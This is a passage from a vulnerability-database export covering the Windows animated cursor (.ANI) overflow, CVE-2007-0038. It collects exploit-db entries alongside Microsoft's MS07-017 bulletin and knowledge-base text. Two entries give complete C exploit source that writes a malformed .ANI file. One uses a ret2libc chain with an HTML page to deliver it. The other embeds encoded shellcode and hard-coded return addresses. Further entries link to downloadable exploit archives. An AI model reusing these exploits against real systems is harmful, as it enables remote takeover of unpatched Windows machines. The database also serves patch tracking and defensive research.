set[rand(set.length)].chr\r\n\t\tend\r\n\t\tbuf\r\n\tend\r\n\r\n\tdef generate_padding\r\n\t\trand_text_alphanumeric(rand(128)+4)\r\n\tend\r\n\r\nend\r\n\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/16698/"}, {"lastseen": "2016-01-31T19:00:18", "description": "MS Windows Animated Cursor (.ANI) Overflow Exploit (Hardware DEP). CVE-2007-0038,CVE-2007-1765. Local exploit for windows platform", "published": "2007-04-03T00:00:00", "type": "exploitdb", "title": "Microsoft Windows - Animated Cursor .ANI Overflow Exploit Hardware DEP", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2007-04-03T00:00:00", "id": "EDB-ID:3652", "href": "https://www.exploit-db.com/exploits/3652/", "sourceData": "/*\n* version 0.5\n* Copyright (c) 2007 devcode\n*\n*\n*\t\t\t^^ D E V C O D E ^^\n*\n* Windows .ANI LoadAniIcon Stack Overflow For Hardware DEP XP SP2\n* [CVE-2007-1765]\n*\n*\n* Description:\n* A vulnerability has been identified in Microsoft Windows,\n* which could be exploited by remote attackers to take complete\n* control of an affected system. This issue is due to a stack overflow\n* error within the \"LoadAniIcon()\" [user32.dll] function when rendering\n* cursors, animated cursors or icons with a malformed header, which could\n* be exploited by remote attackers to execute arbitrary commands by\n* tricking a user into visiting a malicious web page or viewing an email\n* message containing a specially crafted ANI file.\n*\n* Hotfix/Patch:\n* None as of this time.\n*\n* Vulnerable systems:\n*\t Microsoft Windows 2000 Service Pack 4\n*\t Microsoft Windows XP Service Pack 2\n*\t Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)\n*\t Microsoft Windows XP Professional x64 Edition\n*\t Microsoft Windows Server 2003\n*\t Microsoft Windows Server 2003 (Itanium)\n*\t Microsoft Windows Server 2003 Service Pack 1\n*\t Microsoft Windows Server 2003 Service Pack 1 (Itanium)\n*\t Microsoft Windows Server 2003 x64 Edition\n*\t Microsoft Windows Vista\n*\n*\t Microsoft Internet Explorer 6\n*\t Microsoft Internet Explorer 7\n*\n* Tested on:\n* \t Microsoft XP SP2 + DEP + Internet Explorer 6\n*\n* This is a PoC and was created for educational purposes only. The\n* author is not held responsible if this PoC does not work or is\n* used for any other purposes than the one stated above.\n*\n*\tCredit goes to HOD (if he/they exist :P) for the html. Works on\n* XP SP2 with Hardware DEP enabled, go figure.\n*\n* ^^ shoutz to Wonk(if he exists r0fl), InTeL, thrasher :)\n*\n*\n*/\n#include <iostream>\n#include <windows.h>\n\n/* ANI Header */\nunsigned char uszAniHeader[] =\n\"\\x52\\x49\\x46\\x46\\x00\\x04\\x00\\x00\\x41\\x43\\x4F\\x4E\\x61\\x6E\\x69\\x68\"\n\"\\x24\\x00\\x00\\x00\\x24\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\\x0A\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x10\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x54\\x53\\x49\\x4C\\x03\\x00\\x00\\x00\"\n\"\\x10\\x00\\x00\\x00\\x54\\x53\\x49\\x4C\\x03\\x00\\x00\\x00\\x02\\x02\\x02\\x02\"\n\"\\x61\\x6E\\x69\\x68\\xA8\\x03\\x00\\x00\";\n\n/* system(\"calc.exe\"); */\nchar szExecute[] = \"logoff.exe\\x00\";\n\nunsigned char uszHtml[] =\n\"<html>\"\n\"Microsoft Windows .ANI LoadAniIcon Exploit\"\n\"<br>Copyright (c) 2007 devcode<br>\"\n\"<style>\" \\\n\"* {CURSOR: url(\\\"poc.ani\\\")}</style></head>\"\n\"</html>\";\n\n/* Usage: ani.exe 1*/\nchar szIntro[] =\n\"\\n\\t\\tWindows .ANI LoadAniIcon Stack Overflow\\n\"\n\"\\t\\t\\tdevcode (c) 2007\\n\"\n\"[+] Targets:\\n\"\n\"\\t(0) Kernel32.dll (ExitProcess)\\n\"\n\"\\t(1) Windows XP SP2 + DEP\\n\"\n\"\\t(2) Windows 2003 Server\\n\"\n\"Usage: ani.exe <target>\";\n\n/* RET2LIBC attack */\ntypedef struct {\n\tconst char *szTarget;\n\t/* kernel32.dll - set the proper stack frame\n\t\tLEA EBP, DWORD PTR SS:[ESP+10]\n\t\tSUB ESP, EAX\n\t\tPUSH EBX\n\t\tPUSH ESI\n\t\tPUSH EDI\n\t\t....\n\t\t....\n\t\tRETN\n\t*/\n\tunsigned char uszRet[5];\n\t/* msvcrt.dll - system() */\n\tunsigned char uszMsvcrtCall[5];\n} TARGET;\n\nTARGET targets[] = {\n\t{ \"Kernel32.dll (ExitProcess)\", \"\\x90\\x90\\x90\\x90\", \"\\x90\\x90\\x90\\x90\" },\n\t{ \"Windows XP SP2\", \"\\xD6\\x24\\x80\\x7C\", \"\\xC7\\x93\\xC2\\x77\" },\n\t{ \"Windows 2003 Server\", \"\\x0A\\x17\\xE4\\x77\", \"\\x10\\x8C\\xBB\\x77\" }\n};\n\nint main( int argc, char **argv ) {\n\tchar szBuffer[1024];\n\tFILE *f;\n\tvoid *pExitProcess[4];\n\n\tif ( argc < 2 ) {\n\t\tprintf(\"%s\\n\", szIntro );\n\t\treturn 0;\n\t}\n\n\tif ( atoi( argv[1] ) == 0 ) {\n\t\tprintf(\"[+] Getting ExitProcess address...\\n\");\n\t\t*pExitProcess = GetProcAddress( GetModuleHandle( \"kernel32.dll\" ), \n\"ExitProcess\" );\n\t\tif ( pExitProcess == NULL ) {\n\t\t\tprintf(\"[-] Cannot get ExitProcess address\\n\");\n\t\t\treturn 0;\n\t\t}\n\t\tmemcpy( targets[1].uszRet, pExitProcess, 4 );\n\t}\n\n\tprintf(\"[+] Creating ANI header...\\n\");\n\tmemset( szBuffer, 0x90, sizeof( szBuffer ) );\n\tmemcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );\n\n\tprintf(\"[+] Copying execution code...\\n\");\n\tmemcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );\n\tmemset( szBuffer + 136, 0, 4 );\n\tmemset( szBuffer + 204, 0, 4 );\n\tszBuffer[136] = 0x6C;\n\tszBuffer[204] = 0x6C;\n\tmemcpy( szBuffer + 196, targets[atoi(argv[1])].uszMsvcrtCall, 4 );\n\tmemcpy( szBuffer + 200, targets[atoi(argv[1])].uszMsvcrtCall, 4 );\n\tmemcpy( szBuffer + 240, szExecute, sizeof( szExecute ) - 1 );\n\n\tf = fopen( \"poc.ani\", \"wb\" );\n\tif ( f == NULL ) {\n\t\tprintf(\"[-] Cannot create ani file\\n\");\n\t\treturn 0;\n\t}\n\n\tfwrite( szBuffer, 1, 1024, f );\n\tfclose( f );\n\tprintf(\"[+] .ANI file succesfully created!\\n\");\n\n\tf = fopen( \"poc.html\", \"wb\" );\n\tif ( f == NULL ) {\n\t\tprintf(\"[-] Cannot create html file\\n\");\n\t\treturn 0;\n\t}\n\n\tfwrite( uszHtml, 1, sizeof( uszHtml ), f );\n\tfclose( f );\n\tprintf(\"[+] HTML file succesfully created!\\n\");\n\n\treturn 0;\n}\n\n// milw0rm.com [2007-04-03]\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3652/"}, {"lastseen": "2016-01-31T18:58:08", "description": "MS Windows XP/Vista Animated Cursor (.ANI) Remote Overflow Exploit. CVE-2007-0038,CVE-2007-1765. Remote exploit for windows platform", "published": "2007-04-01T00:00:00", "type": "exploitdb", "title": "Microsoft Windows XP/Vista - Animated Cursor .ANI Remote Overflow Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2007-04-01T00:00:00", "id": "EDB-ID:3634", "href": "https://www.exploit-db.com/exploits/3634/", "sourceData": "..::[ jamikazu presents ]::..\r\n\r\nWindows Animated Cursor Handling Exploit (0day)\r\n\r\nWorks on fully patched Windows Vista\r\nI think it is first real remote code execution exploit on vista =)\r\n\r\nTested on:\r\nWindows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)\r\nWindows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)\r\nWindows XP SP2 \r\n(It also must to work on all nt based windows but not tested)\r\n\r\nAuthor: jamikazu \r\nMail: jamikazu@gmail.com\r\n\r\nBug discovered by determina (http://www.determina.com)\r\n\r\nCredit: milw0rm,metasploit, SkyLined, http://doctus.net/\r\n\r\ninvokes calc.exe if successful \r\n\r\n\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/3634.zip (04012007-Animated_Cursor_Exploit.zip)\r\n\r\n# milw0rm.com [2007-04-01]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3634/"}, {"lastseen": "2016-01-31T18:55:24", "description": "MS Windows Animated Cursor (.ANI) Stack Overflow Exploit. CVE-2007-0038,CVE-2007-1765. Local exploit for windows platform", "published": "2007-03-31T00:00:00", "type": "exploitdb", "title": "Microsoft Windows - Animated Cursor .ANI Stack Overflow Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2007-03-31T00:00:00", "id": "EDB-ID:3617", "href": "https://www.exploit-db.com/exploits/3617/", "sourceData": "/*\n* Copyright (c) 2007 devcode\n*\n*\n*\t\t\t^^ D E V C O D E ^^\n*\n* Windows .ANI LoadAniIcon Stack Overflow\n* [CVE-2007-1765]\n*\n*\n* Description:\n* A vulnerability has been identified in Microsoft Windows,\n*\t which could be exploited by remote attackers to take complete\n*\t control of an affected system. This issue is due to a stack overflow\n* error within the \"LoadAniIcon()\" [user32.dll] function when rendering\n* cursors, animated cursors or icons with a malformed header, which could\n*\t be exploited by remote attackers to execute arbitrary commands by\n* tricking a user into visiting a malicious web page or viewing an email\n* message containing a specially crafted ANI file.\n*\n* Hotfix/Patch:\n* None as of this time.\n*\n* Vulnerable systems:\n*\t Microsoft Windows 2000 Service Pack 4\n*\t Microsoft Windows XP Service Pack 2\n*\t Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)\n*\t Microsoft Windows XP Professional x64 Edition\n*\t Microsoft Windows Server 2003\n*\t Microsoft Windows Server 2003 (Itanium)\n*\t Microsoft Windows Server 2003 Service Pack 1\n*\t Microsoft Windows Server 2003 Service Pack 1 (Itanium)\n*\t Microsoft Windows Server 2003 x64 Edition\n*\t Microsoft Windows Vista\n*\n*\t Microsoft Internet Explorer 6\n*\t Microsoft Internet Explorer 7\n*\n* This is a PoC and was created for educational purposes only. The\n*\t author is not held responsible if this PoC does not work or is\n*\t used for any other purposes than the one stated above.\n*\n* Notes:\n*\t For this to work on XP SP2 on explorer.exe, DEP has to be turned\n*\t off.\n*\n*/\n#include <iostream>\n#include <windows.h>\n\n/* ANI Header */\nunsigned char uszAniHeader[] =\n\"\\x52\\x49\\x46\\x46\\x00\\x04\\x00\\x00\\x41\\x43\\x4F\\x4E\\x61\\x6E\\x69\\x68\"\n\"\\x24\\x00\\x00\\x00\\x24\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\\x0A\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x10\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x54\\x53\\x49\\x4C\\x03\\x00\\x00\\x00\"\n\"\\x10\\x00\\x00\\x00\\x54\\x53\\x49\\x4C\\x03\\x00\\x00\\x00\\x02\\x02\\x02\\x02\"\n\"\\x61\\x6E\\x69\\x68\\xA8\\x03\\x00\\x00\";\n\n/* Shellcode - metasploit exec calc.exe ^^ */\nunsigned char uszShellcode[] =\n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49\"\n\"\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x37\\x49\\x49\\x49\\x49\\x51\\x5a\\x6a\\x42\"\n\"\\x58\\x50\\x30\\x41\\x31\\x42\\x41\\x6b\\x41\\x41\\x52\\x32\\x41\\x42\\x41\\x32\"\n\"\\x42\\x41\\x30\\x42\\x41\\x58\\x50\\x38\\x41\\x42\\x75\\x38\\x69\\x79\\x6c\\x4a\"\n\"\\x48\\x67\\x34\\x47\\x70\\x77\\x70\\x53\\x30\\x6e\\x6b\\x67\\x35\\x45\\x6c\\x4c\"\n\"\\x4b\\x73\\x4c\\x74\\x45\\x31\\x68\\x54\\x41\\x68\\x6f\\x6c\\x4b\\x70\\x4f\\x57\"\n\"\\x68\\x6e\\x6b\\x71\\x4f\\x45\\x70\\x65\\x51\\x5a\\x4b\\x67\\x39\\x4c\\x4b\\x50\"\n\"\\x34\\x4c\\x4b\\x77\\x71\\x68\\x6e\\x75\\x61\\x4b\\x70\\x4e\\x79\\x6e\\x4c\\x4d\"\n\"\\x54\\x4b\\x70\\x72\\x54\\x65\\x57\\x69\\x51\\x49\\x5a\\x46\\x6d\\x37\\x71\\x6f\"\n\"\\x32\\x4a\\x4b\\x58\\x74\\x77\\x4b\\x41\\x44\\x44\\x64\\x35\\x54\\x72\\x55\\x7a\"\n\"\\x45\\x6c\\x4b\\x53\\x6f\\x51\\x34\\x37\\x71\\x48\\x6b\\x51\\x76\\x4c\\x4b\\x76\"\n\"\\x6c\\x50\\x4b\\x6e\\x6b\\x71\\x4f\\x67\\x6c\\x37\\x71\\x68\\x6b\\x4c\\x4b\\x65\"\n\"\\x4c\\x4c\\x4b\\x64\\x41\\x58\\x6b\\x4b\\x39\\x53\\x6c\\x75\\x74\\x46\\x64\\x78\"\n\"\\x43\\x74\\x71\\x49\\x50\\x30\\x64\\x6e\\x6b\\x43\\x70\\x44\\x70\\x4c\\x45\\x4f\"\n\"\\x30\\x41\\x68\\x44\\x4c\\x4e\\x6b\\x63\\x70\\x44\\x4c\\x6e\\x6b\\x30\\x70\\x65\"\n\"\\x4c\\x4e\\x4d\\x6c\\x4b\\x30\\x68\\x75\\x58\\x7a\\x4b\\x35\\x59\\x4c\\x4b\\x4d\"\n\"\\x50\\x58\\x30\\x37\\x70\\x47\\x70\\x77\\x70\\x6c\\x4b\\x65\\x38\\x57\\x4c\\x31\"\n\"\\x4f\\x66\\x51\\x48\\x76\\x65\\x30\\x70\\x56\\x4d\\x59\\x4a\\x58\\x6e\\x63\\x69\"\n\"\\x50\\x31\\x6b\\x76\\x30\\x55\\x38\\x5a\\x50\\x4e\\x6a\\x36\\x64\\x63\\x6f\\x61\"\n\"\\x78\\x6a\\x38\\x4b\\x4e\\x6c\\x4a\\x54\\x4e\\x76\\x37\\x6b\\x4f\\x4b\\x57\\x70\"\n\"\\x63\\x51\\x71\\x32\\x4c\\x52\\x43\\x37\\x70\\x42\";\n\nchar szIntro[] =\n\"\\n\\t\\tWindows .ANI LoadAniIcon Stack Overflow\\n\"\n\"\\t\\t\\tdevcode (c) 2007\\n\"\n\"[+] Targets:\\n\"\n\"\\t(1) Windows XP SP2\\n\"\n\"\\t(2) Kernel32.dll (ExitProcess)\\n\"\n\"\\t(3) Windows 2K SP4\\n\\n\"\n\"Usage: ani.exe <target> <file>\";\n\ntypedef struct {\n\tconst char *szTarget;\n\tunsigned char uszRet[5];\n} TARGET;\n\nTARGET targets[] = {\n\t{ \"Windows XP SP2\", \"\\xC9\\x29\\xD4\\x77\" },\t\t\t\t/* call esp */\n\t{ \"Kernel32.dll (ExitProcess)\", \"\\x90\\x90\\x90\\x90\" },\t/* ExitProcess */\n\t{ \"Windows 2K SP4\", \"\\x29\\x4C\\xE1\\x77\" }\n};\n\nint main( int argc, char **argv ) {\n\tchar szBuffer[1024];\n\tFILE *f;\n\tvoid *pExitProcess[4];\n\n\tif ( argc < 3 ) {\n\t\tprintf(\"%s\\n\", szIntro );\n\t\treturn 0;\n\t}\n\n\tif ( atoi( argv[1] ) == 1 ) {\n\t\tprintf(\"[+] Getting ExitProcess address...\\n\");\n\t\t*pExitProcess = GetProcAddress( GetModuleHandle( \"kernel32.dll\" ), \n\"ExitProcess\" );\n\t\tif ( pExitProcess == NULL ) {\n\t\t\tprintf(\"[-] Cannot get ExitProcess address\\n\");\n\t\t\treturn 0;\n\t\t}\n\t\tmemcpy( targets[1].uszRet, pExitProcess, 4 );\n\t}\n\n\tprintf(\"[+] Creating ANI header...\\n\");\n\tmemset( szBuffer, 0x90, sizeof( szBuffer ) );\n\tmemcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );\n\n\tprintf(\"[+] Copying shellcode...\\n\");\n\tmemcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );\n\tmemcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1 );\n\n\tf = fopen( argv[2], \"wb\" );\n\tif ( f == NULL ) {\n\t\tprintf(\"[-] Cannot create file\\n\");\n\t\treturn 0;\n\t}\n\n\tfwrite( szBuffer, 1, 1024, f );\n\tfclose( f );\n\tprintf(\"[+] .ANI file succesfully created!\\n\");\n\treturn 0;\n}\n\n// milw0rm.com [2007-03-31]\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3617/"}, {"lastseen": "2016-01-31T18:58:30", "description": "MS Windows Animated Cursor (.ANI) Remote Exploit (eeye patch bypass). CVE-2007-0038,CVE-2007-1765. Remote exploit for windows platform", "published": "2007-04-01T00:00:00", "type": "exploitdb", "title": "Microsoft Windows - Animated Cursor .ANI Remote Exploit eeye patch bypass", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2007-04-01T00:00:00", "id": "EDB-ID:3636", "href": "https://www.exploit-db.com/exploits/3636/", "sourceData": "..::[ jamikazu presents ]::..\r\n\r\nWindows Animated Cursor Handling Exploit (0day) (Version3)\r\n\r\nWorks on fully patched Windows Vista\r\nI think it is first real remote code execution exploit on vista =)\r\n\r\nTested on:\r\nWindows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)\r\nWindows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)\r\nWindows XP SP2 \r\n(It also must to work on all nt based windows but not tested)\r\n\r\nUpdate: It also bypass eeye security ani patch!\r\n\r\nAuthor: jamikazu \r\nMail: jamikazu@gmail.com\r\n\r\nBug discovered by determina (http://www.determina.com)\r\n\r\nCredit: milw0rm,metasploit, SkyLined, http://doctus.net/\r\n\r\ninvokes calc.exe if successful \r\n\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/3636.zip (04012007-exp.zip)\r\n\r\n# milw0rm.com [2007-04-01]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3636/"}, {"lastseen": "2016-01-31T18:58:19", "description": "MS Windows XP Animated Cursor (.ANI) Remote Overflow Exploit 2. CVE-2007-0038,CVE-2007-1765. Remote exploit for windows platform", "published": "2007-04-01T00:00:00", "type": "exploitdb", "title": "Microsoft Windows XP - Animated Cursor .ANI Remote Overflow Exploit 2", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2007-04-01T00:00:00", "id": "EDB-ID:3635", "href": "https://www.exploit-db.com/exploits/3635/", "sourceData": "Microsoft ANI Buffer Overflow Exploit\r\n\r\nAuthor: Trirat Puttaraksa\r\nhttp://sf-freedom.blogspot.com\r\n\r\nTested on: Windows XP SP2 fully patched + IE 6 SP2\r\n\r\nFor educational purpose only\r\n\r\nThere are many confuses about this vulnerability. Someone said that this could\r\nnot be exploited in XP SP2 - that's wrong. I provide this exploit because I \r\nwanna to tell these people that they are in danger. \r\nThis exploit will call calc.exe (shellcode fome metasploit win32_exec \r\nCMD=calc.exe EXITFUNC=process).\r\n\r\nP.S. I do not include the source code for generate the .ani file because of\r\nits damage. However, if you reverse engineer .ani file, you will know how\r\ncould I produce this exploit in 10 minutes.\r\n\r\nI will describe this vulnerability and how to exploit it in my blog \r\nafter M$ released patch.\r\n\r\ngreets: used SkyLined's idea of exploitation. tnx to him.\r\n\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/3635.zip (04012007-ani.zip)\r\n\r\n# milw0rm.com [2007-04-01]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3635/"}], "mskb": [{"lastseen": "2021-01-01T22:41:17", "bulletinFamily": "microsoft", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "description": "<html><body><p>Describes a security update for a reported vulnerability in GDI that could allow remote code execution.</p><h2></h2><div class=\"kb-summary-section section\">Microsoft has released security bulletin MS07-017. The security bulletin contains all the relevant information about the security update. This information includes file manifest information and deployment options. To view the complete security bulletin, visit one of the following Microsoft Web sites:<ul class=\"sbody-free_list\"><li>Home users:<div class=\"indent\"><a href=\"http://www.microsoft.com/athome/security/update/bulletins/200704oob.mspx\" id=\"kb-link-1\" target=\"_self\">http://www.microsoft.com/athome/security/update/bulletins/200704oob.mspx</a></div></li><li>IT professionals:<div class=\"indent\"><a href=\"http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\" id=\"kb-link-2\" target=\"_self\">http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx</a></div></li></ul><h3 class=\"sbody-h3\">Known issues</h3><ul class=\"sbody-free_list\"><li>Microsoft is aware of an issue that affects a limited number of printer drivers. When you try to print by using one of these drivers, you may experience the following symptoms:<ul class=\"sbody-free_list\"><li>Your computer automatically restarts.</li><li>After you log on, you receive the following error message:<div class=\"sbody-error\">Microsoft Windows<br/>The system has recovered from a serious error. A log of this error has been created. Please tell Microsoft about this problem. We have created an error report that you can send to help us improve Microsoft Windows. We will treat this report as confidential and anonymous. To see what data this error report contains, click here.</div>When you click the link at the bottom of the message box, you see error signature information that resembles the following:<div class=\"indent\">BCCode : 0x0000007f (0x00000000, 0x00000000, 0x00000000, 0x00000000) OSVer : 5_1_2600 SP : 0_0 Product : 256_1</div></li><li>You receive the following Stop error message: <br/><div class=\"sbody-error\">A problem has been detected and Windows has been shut down to prevent damage to your computer...<br/>Technical information:<br/><br/>*** Stop 0x0000007f (0x00000000, 0x00000000, 0x00000000, 0x00000000) UNEXPECTED_KERNEL_MODE_TRAP</div></li></ul><span>For more information about this issue, click the following article number to view the article in the Microsoft Knowledge Base:<br/><br/><div class=\"indent\"><a href=\"https://support.microsoft.com/en-us/help/935843\" id=\"kb-link-3\">935843 </a> Stop 0x0000007F error when you print from Windows XP or Windows 2000 with GDI security update 925902 installed<br/><br/></div></span></li><li>After you install this security update on a computer that is running Windows XP with Service Pack 2, certain third-party applications may not start. Additionally, you receive an error message that resembles the following:<br/><br/><div class=\"sbody-error\"><strong class=\"sbody-strong\">application_executable_name</strong> - Illegal System DLL Relocation<br/>The system DLL user32.dll was relocated in memory. The application will not run properly. The relocation occurred because the DLL C:\\Windows\\System32\\Hhctrl.ocx occupied an address range reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL.</div><span>For more information about this issue, and to see a list of third-party programs that Microsoft has confirmed are affected by this problem, click the following article number to view the article in the Microsoft Knowledge Base:<br/><br/><div class=\"indent\"><a href=\"https://support.microsoft.com/en-us/help/935448\" id=\"kb-link-4\">935448 </a> Certain programs may not start, and you receive an error message on a computer that is running Windows XP Service Pack 2: \"Illegal System DLL Relocation\"<br/><br/></div></span>If you receive a similar message when you use other programs, install update 935448. If we confirm that other programs are affected by this problem, we will update Microsoft Knowledge Base article 935448 with more information.</li></ul></div><h2>Technical revisions</h2><div class=\"kb-moreinformation-section section\">The revision number and the review dates for this article may reflect minor editorial revisions or structural revisions to this content. The major technical revisions to this content are listed in this table.<div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Revisions</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">April 17, 2007</td><td class=\"sbody-td\">Updated the \"Known issues\" section to include information about a Stop error that you may receive after you install this security update. Added this table.</td></tr></table></div><span>The third-party products that this article discusses are manufactured by companies that are independent of Microsoft. Microsoft makes no warranty, implied or otherwise, about the performance or reliability of these products.</span></div></body></html>", "edition": 2, "modified": "2018-04-17T20:27:10", "id": "KB925902", "href": "https://support.microsoft.com/en-us/help/925902/", "published": "2018-04-17T20:27:10", "title": "MS07-017: Vulnerability in GDI could allow remote code execution", "type": "mskb", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:21", "bulletinFamily": "software", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "description": "Microsoft Security Bulletin MS07-017\r\nVulnerabilities in GDI Could Allow Remote Code Execution (925902)\r\nPublished: April 3, 2007\r\n\r\nVersion: 1.0\r\nSummary\r\n\r\nWho Should Read this Document: Customers who use Microsoft Windows\r\n\r\nImpact of Vulnerability: Remote Code Execution\r\n\r\nMaximum Severity Rating: Critical\r\n\r\nRecommendation: Customers should apply the update immediately\r\n\r\nSecurity Update Replacement: This bulletin replaces a prior security update. See the Frequently Asked Questions (FAQ) section of this bulletin for details.\r\n\r\nCaveats: Microsoft Knowledge Base Article 925902 documents the currently known issues that customers may experience when they install this security update. The article also documents recommended solutions for these issues. For more information, see Microsoft Knowledge Base Article 925902\r\n\r\nTested Software and Security Update Download Locations:\r\n\r\nAffected Software:\r\n\u2022\t\r\n\r\nMicrosoft Windows 2000 Service Pack 4 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003, Microsoft Windows Server 2003 Service Pack 1, and Microsoft Windows Server 2003 Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems, Microsoft Windows Server 2003 with SP1 for Itanium-based Systems, and Microsoft Windows Server 2003 with SP2 for Itanium-based Systems \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nWindows Vista \u2014 Download the update\r\n\u2022\t\r\n\r\nWindows Vista x64 Edition \u2014 Download the update\r\n\r\nThe software in this list has been tested to determine whether the versions are affected. Other versions are either past their support life cycle or are not affected. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\nTop of sectionTop of section\r\nGeneral Information\r\n\t\r\nExecutive Summary\r\n\r\nExecutive Summary:\r\n\r\nThis update resolves several newly discovered, publicly disclosed and privately reported vulnerabilities as well as additional issues discovered through internal investigations. Each vulnerability is documented in its own subsection in the Vulnerability Details section of this bulletin.\r\n\r\nAn attacker who successfully exploited the most severe of these vulnerabilities could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nNote The Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038 is currently being exploited and was previously discussed by Microsoft Security Advisory 935423.\r\n\r\nSeverity Ratings and Vulnerability Identifiers:\r\nVulnerability Identifiers\tImpact of Vulnerability\tWindows 2000 Service Pack 4\tWindows XP Service Pack 2\tWindows Server 2003, Windows Server 2003 Service Pack 1, and Windows Server 2003 Service Pack 2\tWindows Vista\r\n\r\nGDI Local Elevation of Privilege Vulnerability - CVE-2006-5758\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nWMF Denial of Service Vulnerability CVE-2007-1211\r\n\t\r\n\r\nDenial of Service\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nNot Affected\r\n\r\nEMF Elevation of Privilege Vulnerability CVE-2007-1212\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\r\nGDI Invalid Window Size Elevation of Privilege Vulnerability CVE-2006-5586\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nWindows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\r\nGDI Incorrect Parameter Local Elevation of Privilege Vulnerability - 